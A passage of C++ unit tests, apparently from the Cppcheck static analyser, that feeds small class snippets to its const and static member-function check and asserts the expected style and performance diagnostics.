vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = 